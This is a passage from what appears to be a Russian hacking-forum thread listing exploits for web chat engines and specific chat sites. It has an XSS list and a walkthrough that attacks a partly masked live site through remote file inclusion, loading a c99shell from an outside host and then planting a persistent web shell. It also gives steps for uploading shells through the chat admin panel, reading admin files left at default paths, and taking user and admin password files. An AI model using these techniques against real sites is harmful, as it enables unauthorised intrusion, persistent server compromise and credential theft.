Решение: фильтровать переменную урл,можно даже проверять её на валидность
с помощью сокетов.
------------------------------
Type:[XSS]
Product: Voodoo chat
Author: qBiN
Exploit:
Комбинируя запросы можно реализовать гораздо больше xss чем в этом списке.
------------------------------
Type:[XSS]
Product: www.krovatka.ru
Author: [sL1p], blackybr
Exploit: Passive XSS:
Для примера взят канал klubnichka, изменяя название канала естесственно можно реализовывать xss везде.
------------------------------
Type:[XSS]
Product: www.chatcity.ru
Author: [sL1p]
Chat ID заменяем на адрес чата. У всех они в цифровом значении.
------------------------------
P.s Если есть какието узявимости по движкам чатов или по каким-то конкретным чатам пишите мне в ПМ я добавлю суда.
Последний раз редактировалось [sL1p], 15.11.2006 в 19:35.
Уязвимость существует из за прописанных двух инклудах в двух фчатовых файлах. Эти инклуды прописаны во всех версиях фчатов вплоть до версии 4.6.2 Вот эти файлы подвержены уязвимости:
Внимание. Здесь будет сохранена полная конспирация подопытного сайта. Надеюсь зачем это сделано объяснять не надо.
Итак заходим на наш сайт: http://www.f**.net
Смотрим о_О. Обычный развлекательный сайт. Форум, чат, всякая мурня. В общем как обычно:-) Для начала находим там чат, форма входа в сам чат висит по адресу: http://www.f**.net/chat/
Лучше и не придумаешь;-) Т.к. уязвим файл inc/cmses/aedatingCMS2.php
То мы заходим по адресу:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php
Нашему взору открываются Warning'и.
Цитата:
Warning: main(/home/f**/www/inc/header.inc.php): failed to open stream: No such file or directory in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 14
Warning: main(/home/f**/www/inc/header.inc.php): failed to open stream: No such file or directory in /home/forfreedomnet/www/chat/inc/cmses/aedatingCMS2.php on line 14
Warning: main(): Failed opening '/home/f**/www/inc/header.inc.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 14
Warning: main(db.inc.php): failed to open stream: No such file or directory in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 15
Fatal error: main(): Failed opening required 'db.inc.php' (include_path='.:/usr/local/lib/php') in /home/f**/www/chat/inc/cmses/aedatingCMS2.php on line 15
Это нам и надо. На фатал не обращаем внимания, он нам не помешает. Теперь составим нужный нам запрос, для инклуда шелла. Запрос будет исходить от файла inc/cmses/aedatingCMS2.php
Нам известно что узвим параметр dir[inc].
Его мы и используем. Таков будет начальный запрос:
http://www.f**.net/chat/inc/cmses/aedatingCMS2.php?dir[inc]=
Теперь осталось только прописать ссылку на шелл. Вот наш с99shell:
http://slip-antichat.narod.ru/c99shell.txt
Всё, шелл получен. Инклуд успешно произведён. Но наверно он нам нужен в каком то более надёжном месте? Я тоже так думаю:-) Создаём php файл в дерриктории:
/home/f**/www/
Открывается небольшое поле, копируем туда весь код шелла, и сохраняем. Теперь наш шелл живёт по адресу:
http://www.f**.net/futura.php
Всё, мы закрепились на сайте уверенно;-) Теперь это будет F.a.q. по инклуду фчатов.
Как видим, при регистрации не фильтруются входящие данные. Информация пишется в файл users.dat, наш код сработает в любом месте, где можем смотреть данные профиля. к примеру:
Код:
/chat/showinfo.php?nick=lol
Art-Soft Mini Chat!
Type: [XSS]
Product: Art-Soft Mini Chat!
Author: ZAMUT
Из личного опыта решил написать кое что о чатах на движке Бородина и php-spb. Юзал первый раз 3 года назад. Сейчас вспомнил вдруг про некоторые уязвимости.
1. Заливка шелла через админку чата
Если у вас есть доступ к админке чата, то вы можете залить туда шелл следующим способом:
Заходите в админку, открываете "HTML/JS/PHP шаблоны всех скинов", выбираете скин (желательно def, если стоит другой). Далее открываете файл __skin1.php (или __skin2.php). И вставляете туда php код шелла.
Для того чтобы открыть его необходимо в браузере набрать:
Код:
http://site/chat/skin/имя_каталога/__skin1.php
имя_каталога - это тот самый def или другой куда вы лили шелл.
2. Просмотр админских записей в модуле "Записная книжка в админке"
В модуле "Записная книжка в админке" все работает по принципу: fopen, fread, fputs и fclose. Следовательно никакой шифровки записей нет и они хранятся в открытом виде в файле. По дефолту (как ставят 90% админов чатов) записная книжка хранится в директории: src с названием notebook.txt .
Для чтения открываем:
Код:
http://site/chat/src/notebook.txt
и читаем, что пишут админы.
Особенно обратите внимание, что если используется новая админка (adminka Doom edition), то там адрес будет такой:
Код:
http://site/chat/src/notebook_adm.dat
P.S: фокус иногда не срабатывает из-за .htaccess
3. Модуль "Антиреклама в чате" aka "Цензор"
Просмотр того, что админы запретили писать в чате, думая, что это реклама.
По дефолту данные хранятся и записываются в файл bwrds.dat в корне чата (большинство админов так и оставляют, из-за лени или непонимания кода модуля).
Открываем из браузера:
Код:
http://site/chat/bwrds.dat
и спокойно читаем содержимое файла.
4. Просмотр ссылок, которые по идее могут видеть "только" админы с определенным уровнем доступа.
В чате справа снизу есть маленький фрейм. От имени юзера мы можем видеть только обычные ссылки, которые для нас и предназначены. Но для модераторов и администраторов там есть специальные ссылки, которые юзерам недоступны. Для их просмотра делаем следующее:
4.1 Узнаем название директории, где хранится скин, который установлен в чате по-умолчанию:
Открываем персональные настройки в чате, далее смотрим исходный код страницы и ищем код следующего содержания:
Где site - адрес сайта, chat - путь до чата, skin - папка со скинами чата, dir_name - имя директории со скином по дефолту, frame_more_admin.html - файл, где хранятся данные с секретными ссылками.
5. "Чтение паролей при локальных инклудах на сайте или чате"
Обнаружил совсем недавно данную уловку (около 4-ех месяцев назад).
Секрет в том, что если помимо чата стоит сайт с уязвимостью php-injection или в самом чате есть такая. (главное - нужен локальный инклуд).
Все пароли юзеров и админов чатов версии > 4.07, на движке php-spb хранятся в директориях daemon/db2 в файлах, с зашифрованным названием. ... При удаленном инклуде действуем так:
5.1 Узнаем какой файл нам нужен. Для этого ставим чат у себя на компе. Как это сделать можно почитать тут:
Код:
http://php.spb.ru/chat/readme.html#win
После установки регистрируем полностью похожий ник, который мы хотим из другого чата. Далее заходим в чат на компе под админом и открываем инфу того юзера. Снизу будут разные ссылки, нажимаем на "Скрытые поля в инфе юзера" и смотрим файл БД. Он то нам и нужен.